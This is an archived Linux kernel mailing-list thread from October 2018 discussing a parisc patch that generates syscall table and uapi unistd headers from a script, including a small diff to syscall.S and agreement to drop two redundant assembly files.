NNTP-Posting-Date: Thu, 11 Oct 2018 06:46:33 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Arnd Bergmann <arnd@arndb.de>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 08:46:28 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAUjq-0005Mr-2r
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 08:46:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727464AbeJKOOZ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 10:14:25 -0400
Original-Received: from mail-yw1-f66.google.com ([209.85.161.66]:37752 "EHLO
        mail-yw1-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726135AbeJKOOZ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 10:14:25 -0400
Original-Received: by mail-yw1-f66.google.com with SMTP id y14-v6so3184222ywa.4
        for <linux-kernel@vger.kernel.org>; Wed, 10 Oct 2018 23:48:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=7CTJJugyo1ro7MN6SU8cXgLshPlXyKVBZHyuWcw4JN0=;
        b=BztreXOesfYWkaaHboa8dXF6y3B7ANAKZx7lEPPCIk5v+0794M2RsGNiJDXKJZa3Vk
         meFPZ7VMT/c2OSlLjV0Hihcpb8ZQRRvJ3dzMm6x3+8IvMDLqzsjLczohICDkOCT1hv1b
         f8itwDNhLIw3sjT5ao+wyDyu+kPX2g+kzrD58=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=7CTJJugyo1ro7MN6SU8cXgLshPlXyKVBZHyuWcw4JN0=;
        b=CMpnX8rtyOmX9FVX7GDlCvb0bYDz9jSrh2HQnZPrDmQ0WRz8RkAvdzTaqg7XSAINmm
         y3QKWG2q7nxXiUELgZzlZZu87eXH0wMMqO4Ngkt8P53SUf511Zd8Lc9ivN5JBEJZd0mt
         JoK+V7khKuwNulOrb4PjiLYN9gWJWSDzgnYOjycOz7uqffq/UGbFbwo9Q8mGHD5ynv4s
         1JVMY2kEeO68aLNe+ndQsEUKtPCpnHbADv4JzB5olbUJAnZhzjOPWzQG46XMDaBahFIw
         O1QGDrlDd3mlSt5R4StAfk2n2ZmQ1fH7++K0o+Oyqm2FPtql6vvoPy84SNlaT+3Q2JkV
         R31w==
X-Gm-Message-State: ABuFfog4i/jiz1xB1WEMqb53wk7gbFmh5r7Bw3QmQAZ/MZUuB/SIeVy0
        gg7SuasqLB895BUenwkhsyspGKpAfml5lKc+emgJrQ==
X-Google-Smtp-Source: ACcGV60aPhsR1j2bWE4kWaT99cJSAACGbTHt4k0pWGmweZ0sijfRdrxMoSYnpFzDNArNZXJCX6ZcX/1vZS1LRvOdU+I=
X-Received: by 2002:a81:1b85:: with SMTP id b127-v6mr142321ywb.381.1539240513180;
 Wed, 10 Oct 2018 23:48:33 -0700 (PDT)
In-Reply-To: <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896129 gmane.linux.ports.parisc:29120 gmane.linux.kernel.year-2038:3490 gmane.linux.kernel.cross-arch:47607
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896129>

Hi Helge,

On Thu, 11 Oct 2018 at 11:40, Firoz Khan <firoz.khan@linaro.org> wrote:
>
> Hi Helge,
>
> On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
> >
> > * Firoz Khan <firoz.khan@linaro.org>:
> > > System call table generation script must be run to generate
> > > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > > will have changes which will invokes the script.
> > >
> > > This patch will generate unistd_32/64.h and syscall_table_
> > > 32/64/c32.h files by the syscall table generation script
> > > invoked by arch/parisc/Makefile and the generated files against
> > > the removed files will be identical.
> > >
> > > The generated uapi header file will be included in uapi/asm/
> > > unistd_32/64.h and generated system call table support file will
> > > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> > >
> > > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > > ---
> > >  arch/parisc/Makefile                  |   4 +
> > >  arch/parisc/include/asm/Kbuild        |   3 +
> > >  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> > >  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> > >  arch/parisc/kernel/syscall.S          |  12 +-
> > >  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
> >
> >
> > Can we please get rid of those two new files:
>
> Yes, we don't need those files some of the architecture and other
> architecture does have same/similar files. That's why I added below
> files, so every architecture implementation looks same.
>
> I feel it is better to remove these files.
> Arnd, Do u have any comment on this?
>
> Thanks
> Firoz
>
> >
> > >  arch/parisc/kernel/syscall_table_32.S |  13 +
> > >  arch/parisc/kernel/syscall_table_64.S |  20 ++
> >
> > Both are not needed (at least on parisc) if you apply the following
> > patch on top of your patch series.
> > This patch finally fixes the 64-bit kernel on parisc (tested on real
> > hardware).
> >
> > Helge
> >
> > diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
> > index 2523b83b88d8..45cddeeb968f 100644
> > --- a/arch/parisc/kernel/syscall.S
> > +++ b/arch/parisc/kernel/syscall.S
> > @@ -923,10 +923,20 @@ ENTRY(lws_table)
> >  END(lws_table)
> >         /* End of lws table */
> >
> > -#include "syscall_table_32.S"
> > +#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
> > +
> > +ENTRY(sys_call_table)
> > +#if defined(CONFIG_64BIT)
> > +#include <asm/syscall_table_c32.h>     /* compat syscalls */
> > +#else
> > +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
> > +#endif
> > +END(sys_call_table)
> > +
> >  #ifdef CONFIG_64BIT
> > -#define SYSCALL_TABLE_64BIT
> > -#include "syscall_table_64.S"
> > +ENTRY(sys_call_table64)
> > +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
> > +END(sys_call_table64)
> >  #endif
> >
> >         /*

I could see a patch (commit 47514da3ac20150cdf764466fbc2010c0fca0163)
which will perform a compile-check when adding a new syscall. My patches
will remove this feature. Is that fine?

Firoz


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 09:03:51 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <CAK8P3a1Kbxue2PXRL87-Saiotyq-+v=Uc3vL9KArRuLqCwC4bw@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com> <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539241326 25151 195.159.176.226 (11 Oct 2018 07:02:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 07:02:06 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 09:02:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAUyu-0006NX-OB
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 09:02:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727452AbeJKOaD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 10:30:03 -0400
Original-Received: from mail-qk1-f196.google.com ([209.85.222.196]:35864 "EHLO
        mail-qk1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725995AbeJKOaD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 10:30:03 -0400
Original-Received: by mail-qk1-f196.google.com with SMTP id a85-v6so4813863qkg.3;
        Thu, 11 Oct 2018 00:04:08 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=lWAeOueLWI6lFotF64qNbOYUAzO3t7+RU2k/feXJ6jM=;
        b=ORyNOMKv4Przd6/YEW4Z5P5l+lfyiestvYr3TfUvaMXGoSSIf3SCyRWhm1zAuoV5MZ
         fcxTsnblqA1gjBd9PJJjYrDHJn0H8wvoymJXwb1jNgJvV6XguFbvxwwSamMXOepuoege
         aLPhMx4BoUYG4qpzdTvQRusJ/nm335eC862dDbDxCJPA1VR7nycFI2O/o1D/4i9irpkE
         lBZd4HhQszXreNhx9HTcf2Ryf78FSbGP/fQ/hMRPITUANmiUn44CePGCN2JbcX0h0Cfu
         /1scHtgRjHF5W7dcExKudSzWUgT4yWKRg+xW5y7pZXq5wkkZSCvZBwP0rGy6oNs0XVA2
         GpXw==
X-Gm-Message-State: ABuFfoh5jHs0AVX8sBQnmVeDpndhvoO25MPIBfQPk04keIdsUecti61J
        580At7EZ/bt2FQkx13SJrs1NDmho2yJSc033tZE=
X-Google-Smtp-Source: ACcGV63yMcUWrTz09LuRZqGTc/npGjDEVbrH+p+BxAqhbcT5RGn4VPoohfd8buisN/ZK+j1r40bKiPXCwp/wBaUnn68=
X-Received: by 2002:ae9:d801:: with SMTP id u1-v6mr180441qkf.291.1539241447902;
 Thu, 11 Oct 2018 00:04:07 -0700 (PDT)
In-Reply-To: <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896137 gmane.linux.ports.parisc:29121 gmane.linux.kernel.year-2038:3491 gmane.linux.kernel.cross-arch:47608
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896137>

On Thu, Oct 11, 2018 at 8:48 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Thu, 11 Oct 2018 at 11:40, Firoz Khan <firoz.khan@linaro.org> wrote:
> > On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:

> > > +
> > > +ENTRY(sys_call_table)
> > > +#if defined(CONFIG_64BIT)
> > > +#include <asm/syscall_table_c32.h>     /* compat syscalls */
> > > +#else
> > > +#include <asm/syscall_table_32.h>      /* 32-bit native syscalls */
> > > +#endif
> > > +END(sys_call_table)
> > > +
> > >  #ifdef CONFIG_64BIT
> > > -#define SYSCALL_TABLE_64BIT
> > > -#include "syscall_table_64.S"
> > > +ENTRY(sys_call_table64)
> > > +#include <asm/syscall_table_64.h>      /* 64-bit native syscalls */
> > > +END(sys_call_table64)
> > >  #endif
> > >
> > >         /*
>
> I could see a patch (commit 47514da3ac20150cdf764466fbc2010c0fca0163)
> which will perform a compile-check when adding a new syscall. My patches
> will remove this feature. Is that fine?

I think it's ok: You are automating it so the bug can no longer happen,
which is better than adding checks to prevent human errors.

        Arnd


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 09:07:18 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <CAK8P3a1DAEFR+PQAAediEKq1XPpxutS82SgW93_--xbjVn5wuw@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539241533 8083 195.159.176.226 (11 Oct 2018 07:05:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 07:05:33 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
        Parisc List <linux-parisc@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        gregkh <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Firoz Khan <firoz.khan@linaro.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 09:05:27 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAV2F-0001zl-FO
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 09:05:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727180AbeJKOdc (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 10:33:32 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:36961 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1725995AbeJKOdb (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 10:33:31 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id d14-v6so8704466qto.4;
        Thu, 11 Oct 2018 00:07:35 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=2GV1rdaDCMKZT7FhNYHvOOlSnj9U9gOWskJaApXq+rI=;
        b=Nhne4RwgMnsbyWiOiJ4ZFI9Wm0lLZTW/FUib4scqwZNry4vMDWL5Zwwz1f4ZVnyWIU
         tUuIdO1iP9Z/f9ru+uiIwLEjPuEi4ZrVAYdWbgnAa10ws0SfqxC3h49i2l8df5Oz/M+p
         MIxilMdIvvHB3Fmw7Q29pWUSZQX0RETbDuQJj1v5GWsQrfDKaVAnuE5iAKBl/X3MeckP
         6bqZh1jridFtYIWxcbO2FUtexsK6U9McisZVk5RJfViVaRLBI9s67ceQffqLnIdNYZZg
         FuQSGw8F8bBHL6zU9A9cZ2deCp8Nd+Hl0BU4DzWcQ0kCqVWJE69m58ibo4hdzlZhAObL
         c7Aw==
X-Gm-Message-State: ABuFfogJp+jS9QOGR2cQ2nVXuqnymeksPnJ9swwPHjU+H/j1OHqisn0M
        onH1DF+ns8brQe7E8jiwxol4Oba43PF5l+sr0CA=
X-Google-Smtp-Source: ACcGV62chVKps3lsWailiktZCH9IWgGGbmYlV84sE2XeC1fshxUJACgm6Gnjp+s7+MC5jAMjI8G5nYLOfSv1VPxRb6M=
X-Received: by 2002:aed:35cd:: with SMTP id d13-v6mr360721qte.212.1539241655341;
 Thu, 11 Oct 2018 00:07:35 -0700 (PDT)
In-Reply-To: <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896141 gmane.linux.ports.parisc:29122 gmane.linux.kernel.year-2038:3492 gmane.linux.kernel.cross-arch:47609
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896141>

On Thu, Oct 11, 2018 at 8:10 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
> >
> > * Firoz Khan <firoz.khan@linaro.org>:
> > > System call table generation script must be run to generate
> > > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > > will have changes which will invokes the script.
> > >
> > > This patch will generate unistd_32/64.h and syscall_table_
> > > 32/64/c32.h files by the syscall table generation script
> > > invoked by arch/parisc/Makefile and the generated files against
> > > the removed files will be identical.
> > >
> > > The generated uapi header file will be included in uapi/asm/
> > > unistd_32/64.h and generated system call table support file will
> > > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> > >
> > > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > > ---
> > >  arch/parisc/Makefile                  |   4 +
> > >  arch/parisc/include/asm/Kbuild        |   3 +
> > >  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> > >  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> > >  arch/parisc/kernel/syscall.S          |  12 +-
> > >  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
> >
> >
> > Can we please get rid of those two new files:
>
> Yes, we don't need those files some of the architecture and other
> architecture does have same/similar files. That's why I added below
> files, so every architecture implementation looks same.
>
> I feel it is better to remove these files.
> Arnd, Do u have any comment on this?

I agree with Helge. This was a big different in a previous version where
you generated the syscall_table.S file from syscalls.tbl, but now that
you generade the syscall_table.h file instead, we no longer need to
keep the .S file synchronized across architectures.

Having a separate .S file would make it easier to replace that with
a .c file later, but it's also easier to split it out after your series than
as part of it.

      Arnd


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Firoz Khan <firoz.khan@linaro.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file generation
Date: Thu, 11 Oct 2018 14:00:45 +0530
Lines: 56
Approved: news@gmane.org
Message-ID: <CALxhOnhEwzBHNhqV-qfigTi6ABnPufieA7EKgpkDZNDw0==b=w@mail.gmail.com>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org> <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com> <CAK8P3a1DAEFR+PQAAediEKq1XPpxutS82SgW93_--xbjVn5wuw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1539246534 17119 195.159.176.226 (11 Oct 2018 08:28:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2018 08:28:54 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
        "James E . J . Bottomley" <jejb@parisc-linux.org>,
        Thomas Gleixner <tglx@linutronix.de>,
        Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Philippe Ombredanne <pombredanne@nexb.com>,
        Kate Stewart <kstewart@linuxfoundation.org>,
        y2038 Mailman List <y2038@lists.linaro.org>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        Linux-Arch <linux-arch@vger.kernel.org>,
        Deepa Dinamani <deepa.kernel@gmail.com>,
        Marcin Juszkiewicz <marcin.juszkiewicz@linaro.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Oct 11 10:28:49 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1gAWKu-0002Td-Md
	for glk-linux-kernel-4@m.gmane.org; Thu, 11 Oct 2018 10:28:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727828AbeJKP5L (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 11 Oct 2018 11:57:11 -0400
Original-Received: from mail-yb1-f193.google.com ([209.85.219.193]:46429 "EHLO
        mail-yb1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726035AbeJKP5L (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 11 Oct 2018 11:57:11 -0400
Original-Received: by mail-yb1-f193.google.com with SMTP id o8-v6so3280667ybk.13
        for <linux-kernel@vger.kernel.org>; Thu, 11 Oct 2018 01:30:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=linaro.org; s=google;
        h=mime-version:references:in-reply-to:from:date:message-id:subject:to
         :cc;
        bh=77a3+sGNoQVrIAubEjBxwOmYBxL3bilu8H6ROnB7DuA=;
        b=X+zbE3D9TIQ3dBP1JkFS6pJf/06Z0haJiV+7xTdnfovH3D8b7xfsgg/DAXG5I+QfPP
         oHnJO7WuzSxaR0qiuljWB9KsanVdK21BBx1VeraFD+Ox4lOj50ktU7nPTaa6ZRC9Vdzi
         Z5yvaopbFa0LmeuAFWJKm551f1VcZjYp9NF40=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:references:in-reply-to:from:date
         :message-id:subject:to:cc;
        bh=77a3+sGNoQVrIAubEjBxwOmYBxL3bilu8H6ROnB7DuA=;
        b=iS6HbzRkxgXjEHdkdQePiGstmOv6THydcu7R/h2eLiZ18DXMKHCH26ungjxFh6xwz8
         ZDrQZZnNi+PKR6VKcxUIz+d6BQgxlG8H/WzYlyg8QxrX6BzeuxnlL35pCm+7Fek55Ho4
         zYikhcpIzBcyhlh/IXYCExYofK1XUHVnOWzBq4usEyoecvFyvx+Zcaa8cpWzmFm0GWWf
         38EbAVoVAp1mCe2ZSBex+bgHyMY2ag7UJtTFTO1LlsRq1jtQVQ8+/n2XoscrXz5bQIWA
         eJtjhBAh9MNxBAsRza+YBhV5S+ES+y1CkfOL/8eLLZ2jGBeKlzlhPjFRGEwxZ6GgQw1L
         U9aA==
X-Gm-Message-State: ABuFfojwZ8z9QtLGYRW8+FJ3wwMttJEZdQwxQ/zrtWXtWiQmSD1gYdcE
        dmurbbYq3HtCrj5I9/QNORE3/I6wg9PCcHLSnsSEOQ==
X-Google-Smtp-Source: ACcGV6072nGxYuJbFaZ+B/1CCnK3OAXdAp24RAhPgmAz7lTM+3+6w8Q3qJD0XqKSIAAMa36v+/Ze8Ivfcq4uO6WF1QU=
X-Received: by 2002:a25:b127:: with SMTP id g39-v6mr237179ybj.483.1539246656992;
 Thu, 11 Oct 2018 01:30:56 -0700 (PDT)
In-Reply-To: <CAK8P3a1DAEFR+PQAAediEKq1XPpxutS82SgW93_--xbjVn5wuw@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2896195 gmane.linux.ports.parisc:29123 gmane.linux.kernel.year-2038:3495 gmane.linux.kernel.cross-arch:47612
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2896195>

Hi Arnd,

On Thu, 11 Oct 2018 at 12:37, Arnd Bergmann <arnd@arndb.de> wrote:
>
> On Thu, Oct 11, 2018 at 8:10 AM Firoz Khan <firoz.khan@linaro.org> wrote:
> > On Wed, 10 Oct 2018 at 01:48, Helge Deller <deller@gmx.de> wrote:
> > >
> > > * Firoz Khan <firoz.khan@linaro.org>:
> > > > System call table generation script must be run to generate
> > > > unistd_32/64.h and syscall_table_32/64/c32.h files. This patch
> > > > will have changes which will invokes the script.
> > > >
> > > > This patch will generate unistd_32/64.h and syscall_table_
> > > > 32/64/c32.h files by the syscall table generation script
> > > > invoked by arch/parisc/Makefile and the generated files against
> > > > the removed files will be identical.
> > > >
> > > > The generated uapi header file will be included in uapi/asm/
> > > > unistd_32/64.h and generated system call table support file will
> > > > be included by arch/sparc/kernel/syscall_table_32/64.S file.
> > > >
> > > > Signed-off-by: Firoz Khan <firoz.khan@linaro.org>
> > > > ---
> > > >  arch/parisc/Makefile                  |   4 +
> > > >  arch/parisc/include/asm/Kbuild        |   3 +
> > > >  arch/parisc/include/uapi/asm/Kbuild   |   2 +
> > > >  arch/parisc/include/uapi/asm/unistd.h | 373 +--------------------------
> > > >  arch/parisc/kernel/syscall.S          |  12 +-
> > > >  arch/parisc/kernel/syscall_table.S    | 459 ----------------------------------
> > >
> > >
> > > Can we please get rid of those two new files:
> >
> > Yes, we don't need those files some of the architecture and other
> > architecture does have same/similar files. That's why I added below
> > files, so every architecture implementation looks same.
> >
> > I feel it is better to remove these files.
> > Arnd, Do u have any comment on this?
>
> I agree with Helge. This was a big different in a previous version where
> you generated the syscall_table.S file from syscalls.tbl, but now that
> you generade the syscall_table.h file instead, we no longer need to
> keep the .S file synchronized across architectures.
>
> Having a separate .S file would make it easier to replace that with
> a .c file later, but it's also easier to split it out after your series than
> as part of it.

Sure. Thanks for your comments.

Firoz

>
>       Arnd


From - Thu Nov 08 21:42:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.year-2038,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 4/6] parisc: uapi header and system call table file
 generation
Date: Thu, 11 Oct 2018 12:27:26 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <4c659c11-85a3-68da-b7c9-60042d611a72@gmx.de>
References: <1538975801-13735-1-git-send-email-firoz.khan@linaro.org>
 <1538975801-13735-5-git-send-email-firoz.khan@linaro.org>
 <20181009201321.GA28911@ls3530.fritz.box>
 <CALxhOnjxkq1-N59i81+ra58tZhx7Gik6iPyUsNFJY9wEJA+D1w@mail.gmail.com>
 <CALxhOnj1SnTO9Sm-1cAL9B8gEmYrOHr03K6OqF4qqt5Oh0x+4g@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
